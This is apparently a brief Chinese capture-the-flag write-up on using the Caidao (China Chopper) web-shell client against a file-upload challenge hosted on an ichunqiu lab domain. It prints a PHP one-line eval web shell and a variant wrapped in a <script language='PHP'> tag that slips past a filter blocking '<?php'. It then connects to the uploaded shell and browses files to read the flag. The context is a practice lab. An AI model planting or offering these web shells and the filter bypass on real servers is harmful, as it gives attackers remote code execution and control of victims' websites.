菜刀的基本使用

 

看到随便上传，想到一句话木马，然后上传一个

<?php eval($_POST['a']); ?>

然后显示上传成功，点击进去查看发现

 

没有成功，他屏蔽了<?php,几个字符。

发现还有另一种JS(javascript)脚本风格的写法

<script language="PHP"> @eval($_POST["code"]); </script>

上传之后发现成功了，页面没有东西了

 

这时候我们用菜刀链接，先复制URL

http://ff8f2ca7c55843c0a5a95e40485c10304d9a375250c54e9e.changame.ichunqiu.com/u/php.php

 

密码就是刚刚post的东西

 

然后右键文件管理

 

发现有个叫flag的文件，打开就是flag了